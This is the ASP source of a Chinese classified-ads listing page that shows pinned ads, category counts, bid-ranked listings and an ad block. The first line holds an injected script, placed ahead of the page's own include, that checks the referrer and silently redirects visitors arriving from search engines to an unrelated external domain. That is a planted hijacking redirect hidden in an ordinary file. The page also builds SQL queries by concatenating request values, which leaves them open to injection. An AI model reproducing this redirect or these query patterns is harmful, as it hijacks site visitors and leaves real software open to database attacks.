001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"--> 002: <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
003: <!-- 这里是主题 --> 004: <%dim sql,rs,thepage,currentpage,pagename,totalpage,n,page
005:
006:
007: if city_oneid<>0 and city_twoid=0 then cityid="city_oneid="&city_oneid&" and "
008: if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and "
009: if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and city_threeid="&city_threeid&" and "
010: if type_oneid<>0 and type_twoid=0 then typeid="type_oneid ="&type_oneid&" and "
011: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then typeid="type_oneid ="&type_oneid&" and type_twoid="&type_twoid&" and "
012: if type_oneid<>0 and type_twoid<>0 and type_threeid<>0 then typeid="type_oneid ="&type_oneid&" and type_twoid="&type_twoid&" and type_threeid="&type_threeid&" and "
013: if city_oneid<>0 and city_twoid=0 then city_id="&city_oneid="&city_oneid&""
014: if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&""
015: if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""
016: if type_oneid<>0 and type_twoid=0 then type_id="&type_oneid="&type_oneid&""
017: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then type_id="&type_oneid="&type_oneid&"&type_twoid="&type_twoid&""
018: if type_oneid<>0 and type_twoid<>0 and type_threeid<>0 then type_id="&type_oneid="&type_oneid&"&type_twoid="&type_twoid&"&type_threeid="&type_threeid&""
019: type_id=city_id&type_id%>
020: <TABLE width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
021: <TR> </TR>
022: </TABLE>
023: <TABLE width="860" border="0" align="center" cellpadding="0" cellspacing="0">
024: <TR valign="top">
025: <TD width="580"><TABLE width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
026: <TR>
027: <TD bgcolor="#FFFFFF"><TABLE width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
028: <TR>
029: <TD height="30" colspan="3"><STRONG> <IMG src="images/img.gif" width="12" height="12"> <%if city_oneid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&""">"&aa1&"</a>>>"
030: if city_twoid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&""">"&aa2&"</a>>>"
031: if city_threeid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""">"&aa3&"</a>>>"
032: %>分类信息>>
033: <%if type_oneid>0 then
034: set rs1=server.createobject("adodb.recordset")
035: rs1.open "select * from china_type where id ="&type_oneid&" and twoid=0 and threeid=0",conn,1,1
036: tyone=rs1("name")
037: tyname=tyone
038: rs1.close
039: if type_twoid<>0 then
040: rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid=0",conn,1,1
041: tytwo=rs1("name")
042: tyname=tytwo
043: rs1.close
044: if type_threeid<>0 then
045: rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
046: tythree=rs1("name")
047: tyname=tythree
048: rs1.close
049: end if
050: end if
051: set rs1=nothing
052: end if
053: if type_threeid<>0 then
054: response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>><a href=""?type_oneid="&type_oneid&"&type_twoid="&type_twoid&city_id&""">"&tytwo&"</a>"&tythree&""
055: elseif type_twoid<>0 then
056: response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>>"&tytwo
057: else
058: response.write tyone
059: end if%>>>固顶信息</STRONG></TD>
060: </TR>
061: <%if type_oneid=0 then sql="select * from china_type where id >0 and twoid=0 and threeid=0 order by indexid asc"
062: if type_oneid<>0 and type_twoid=0 and type_threeid=0 then sql="select * from china_type where id ="&type_oneid&" and twoid<>0 and threeid=0 order by indexid asc"
063: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then sql="select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid<>0 order by indexid asc"
064: set rs1=server.createobject("adodb.recordset")
065: rs1.open sql,conn,1,1
066: if rs1.eof then
067: response.Write "暂无下级分类"
068: else
069: i=0
070: do while not rs1.eof
071: if i mod 3=0 then response.write "<tr height=""30"">"
072: if rs1("threeid")>0 then
073: count1="and type_oneid="&rs1("id")&" and type_twoid="&rs1("twoid")&" and type_threeid="&rs1("threeid")
074: elseif rs1("twoid")>0 then
075: count1="and type_oneid="&rs1("id")&" and type_twoid="&rs1("twoid")
076: else
077: count1="and type_oneid="&rs1("id")
078: end if
079: response.write "<td width=""33%"">·<a href=""top.asp?type_oneid="&rs1("id")&"&type_twoid="&rs1("twoid")&"&type_threeid="&rs1("threeid")&city_id&"""><b><font style=""font-size:10.5pt"" color=""#0044DD"">"&rs1("name")&"</font></b></a><font color=#ff0000> ("&conn.execute("select count(*) from [china_data] where "&cityid&" stop>=date() and top=1 and mark='yes' "&count1&"")(0)&")</font></td>"
080: rs1.movenext
081: i=i+1
082: if i mod 3=0 then response.write "</tr>"
083: loop
084: if i mod 3<>0 then
085: do while i mod 3<>0
086: response.write "<td width=""33%""> </td>"
087: i=i+1
088: loop
089: response.write "</tr>"
090: end if
091: end if
092: rs1.close:Set rs1=nothing%>
093: <TR>
094: <TD colspan="3" background="images/news_022.gif"> </TD>
095: </TR>
096: <%sql="select * from [china_data] where "&cityid&" "&typeid&" mark='yes' and stop >= date() and top=1 order by top,money desc,time desc"
097: set rs=server.createobject("adodb.recordset")
098: rs.open sql,conn,1,1
099: if rs.eof then
100: response.write "<tr height=""28""><td colspan=""3"">暂无固顶信息</td></tr>"
101: else
102: thepage=request("pageid")
103: if isnumeric(thepage)=false then
104: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
105: response.end
106: end if
107: currentpage = cLng(thepage)
108: if currentpage <= 0 then currentpage=1
109: const maxperpage=10
110: rs.Pagesize = maxperpage
111: pagename="top.asp"
112: totalpage = rs.PageCount
113: rs.absolutepage = currentpage
114: n=rs.recordcount
115: page = PageSplit(currentpage,totalpage,pagename,type_id)
116: if n>10 then
117: response.write "<tr><td height=""25"" colspan=""3""><a href=""ad.asp""><font style=""font-size:14px"" color=""#0000BF"">全部广告</font></a> 页次:<b>"¤tpage&"/"&totalpage&"</b> 每页<b>"&maxperpage&"</b>条 共刊登<b>"&n&"</b>条"&tyname&"广告 "&page&"</td></tr>"
118: response.write "<tr><td colspan=""3"" background=""images/news_022.gif""> </td></tr>"
119: end if
120: i=0
121: do while i < maxperpage and not rs.eof
122: response.write "<tr height=""25""><td colspan=""3""><img src=""images/news_021.gif"" width=""14"" height=""16"" align=""left""> <a href=""html/"&rs("adid")&".htm"" target=""_blank"">"
123: if rs("cu")="yes" then response.write "<b>"
124: response.write "<b><font "
125: if rs("color")<>"" then
126: response.write "color="&rs("color")
127: else
128: response.write "color=#0044DD"
129: end if
130: response.write ">"&rs("title")&"</font></b>"
131: if rs("cu")="yes" then response.write "</b>"
132: response.write "</a>"
133: if rs("money")<>0 then response.write "<font color=#ff0000>[竞价]</font>"
134: if rs("pic")<>"" then response.write "<font color=#ff0000>[图]</font>"
135: response.write "</td></tr><tr height=""22""><td colspan=""2"" width=""80%""><a href=""html/"&rs("adid")&".htm"" target=""_blank"">"
136: text=Replace(Replace(rs("text")," "," "),"<br>","")
137: response.write "<p style=""line-height: 150%"">"
138: if len(text)>60 then
139: response.write left(text,60)&"..."
140: else
141: response.write text
142: end if
143: response.write "</p>"
144: response.write "</a></td><td width=""20%"" align=""right"">"
145: if rs("uid")<>"" then qq=conn.execute("select qq from [china_user] where uid='"&rs("uid")&"'")(0)
146: if qq<>"" and qq<>"未填" and not isnull(qq) then response.write "<a target=blank href=http://wpa.qq.com/msgrd?V=1&Uin="&qq&"&Site="&webname&"&Menu=yes><img border=""0"" src=http://wpa.qq.com/pa?p=1:"&qq&":6 alt=""点击这里给我发消息""></a><br>城市:"
147: response.write rs("city_one")
148: if rs("city_twoid")>0 then response.write "-"&rs("city_two")
149: if rs("city_threeid")>0 then response.write "-"&rs("city_three")
150: response.write "</td></tr>"
151: response.write "<tr height=""22""><td colspan=""3""><font color=#999999><i>(发布:"&rs("date")&" 有效期还有"&datediff("d",date(),rs("stop"))&"天 联系人:"&rs("username")&" TEL:"&rs("tel")&")</i></font></td></tr>"
152: response.write "<tr><td colspan=""3"" background=""images/news_022.gif""> </td></tr>"
153: rs.movenext
154: i=i+1
155: loop
156: end if
157: if n>10 then%>
158: <TR>
159: <TD colspan="3"><A href="ad.asp"><FONT style="font-size:14px" color="#0000BF">全部广告</FONT></A> 页次:<B><%=currentpage%>/<%=totalpage%></B> 每页<B><%=maxperpage%></B>条 共刊登<B><%=n%></B>条<FONT color="#FF0000"><%=tyname%></FONT>广告
160: <%response.write page%></TD>
161: </TR>
162: <%end if%>
163: <TR>
164: <TD> </TD>
165: </TR>
166: </TABLE></TD>
167: </TR>
168: </TABLE></TD>
169: <TD width="10"> </TD>
170: <TD width="270"><TABLE width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
171: <TR>
172: <TD bgcolor="#FFFFFF"><TABLE width="92%" border="0" align="center" cellpadding="0" cellspacing="0">
173: <TR valign="bottom">
174: <TD height="28" colspan="2"><SPAN style="font-weight: bold; color: #990000;">竟价排名分类信息</SPAN></TD>
175: </TR>
176: <TR>
177: <TD colspan="2"><TABLE width="100%" border="0" cellspacing="0" cellpadding="0">
178: <TR>
179: <TD><HR size="1" color="#C0C0C0"></TD>
180: </TR>
181: <TR>
182: <TD>
183: <%response.write "<table width=""100%"" border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
184: set rs1=server.createobject("adodb.recordset")
185: sql="select top 16 * from china_data where money>0 and stop >= date() and mark='yes' order by money desc"
186: rs1.open sql,conn,1,1
187: if rs1.eof then
188: response.write "<tr><td>暂无竞价排名分类信息</td></tr>"
189: else
190: i=0
191: do while not rs1.eof
192: if i mod 2=0 then response.write "<tr>"
193: response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
194: if rs1("color")<>"" then response.write "color="&rs1("color")
195: response.write ">"&left(rs1("title"),8)&"</font></a></td>"
196: rs1.movenext
197: i=i+1
198: if i mod 2=0 then response.write "</tr>"
199: loop
200: end if
201: rs1.close:set rs1=nothing
202: if i mod 2<>0 then response.write "<td></td></tr>"
203: response.write "</table>"%></TD>
204: </TR>
205: <TR>
206: <TD><HR size="1" color="#C0C0C0"></TD>
207: </TR>
208: </TABLE></TD>
209: </TR>
210: <TR>
211: <TD width="25" height="200" bgcolor="DAF0FF"><DIV align="center"><STRONG>图<BR>
212: 片<BR>
213: 推<BR>
214: 荐<BR>
215: 信<BR>
216: 息</STRONG></DIV>
217:
218: </TD>
219: <TD><%set rs1 = server.createobject("adodb.recordset")
220: sql="select top 4 adid,pic,color,title,cu from [china_data] where mark='yes' and mark='yes' and stop >= date() and hotpoto=1 and pic <>'' order by [top] desc,money desc,adid desc"
221: rs1.open sql,conn,1,1
222: if rs1.eof then
223: response.write "暂无推荐图片信息"
224: else
225: i=0
226: response.write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr valign=""bottom"">"
227: do while not rs1.eof
228: if i mod 2=0 then response.write "<tr>"
229: response.write "<td align=""center""><a href=""html/"&rs1("adid")&".htm"" target=""_blank""><img src=""adpic/"&rs1("pic")&""" width=""100"" height=""90"" border=""0""></a><br>"
230: response.write "<a href=""html/"&rs1("adid")&".htm"" target=""_blank"">"
231: if rs1("cu")="yes" then
232: response.write "<b><font style=""font-size:9pt"""
233: if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
234: response.write ">"&left(rs1("title"),8)&"</font></b>"
235: else
236: response.write "<font style=""font-size:9pt"""
237: if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
238: response.write ">"&left(rs1("title"),8)&"</font>"
239: end if
240: response.write "</a></td>"
241: rs1.movenext
242: i=i+1
243: if i mod 2=0 then response.write "</tr>"
244: loop
245: if i mod 2<>0 then response.write "<td></td></tr>"
246: response.write "</table>"
247: end if
248: rs1.close:set rs1=nothing%></TD>
249: </TR>
250: <TR>
251: <TD height="30" colspan="2" background="images/news_0024.gif"> <SPAN style="color: #990000"><STRONG>热点信息</STRONG></SPAN></TD>
252: </TR>
253: <TR>
254: <TD colspan="2"><%response.write "<table width=""100%"" border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
255: set rs1=server.createobject("adodb.recordset")
256: sql="select top 16 * from china_data where hot=1 and stop >= date() and mark='yes' order by adid desc"
257: rs1.open sql,conn,1,1
258: if rs1.eof then
259: response.write "<tr><td>暂无热点分类信息</td></tr>"
260: else
261: i=0
262: do while not rs1.eof
263: if i mod 2=0 then response.write "<tr>"
264: response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
265: if rs1("color")<>"" then response.write "color="&rs1("color")
266: response.write ">"&left(rs1("title"),8)&"</font></a></td>"
267: rs1.movenext
268: i=i+1
269: if i mod 2=0 then response.write "</tr>"
270: loop
271: end if
272: rs1.close:set rs1=nothing
273: if i mod 2<>0 then response.write "<td></td></tr>"
274: response.write "</table>"%></TD>
275: </TR>
276: <TR>
277: <TD colspan="2"><SCRIPT type="text/javascript"><!--
278: google_ad_client = "pub-7959465154098151";
279: google_ad_width = 250;
280: google_ad_height = 250;
281: google_ad_format = "250x250_as";
282: google_ad_type = "text_image";
283: google_ad_channel = "";
284: google_color_border = "E6E6E6";
285: google_color_bg = "FFFFFF";
286: google_color_link = "0000FF";
287: google_color_text = "000000";
288: google_color_url = "008000";
289: //--> 290: </SCRIPT>
291: <SCRIPT type="text/javascript"
292: src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
293: </SCRIPT></TD>
294: </TR>
295: </TABLE>
296: <TABLE border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
297: <TR>
298: <TD height="8"></TD>
299: </TR>
300: </TABLE></TD>
301: </TR>
302: </TABLE></TD>
303: </TR>
304: </TABLE>
305: <TABLE border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
306: <TR>
307: <TD height="8"></TD>
308: </TR>
309: </TABLE>
310: <TABLE width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
311: <TR>
312: </TR>
313: </TABLE>
314: <TABLE border="0" width="760" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF" align=center>
315: <TR>
316: </TR>
317: </TABLE><!-- 这里是主题结束 --><!--#include file="foot.asp"--> 318:
319:
320: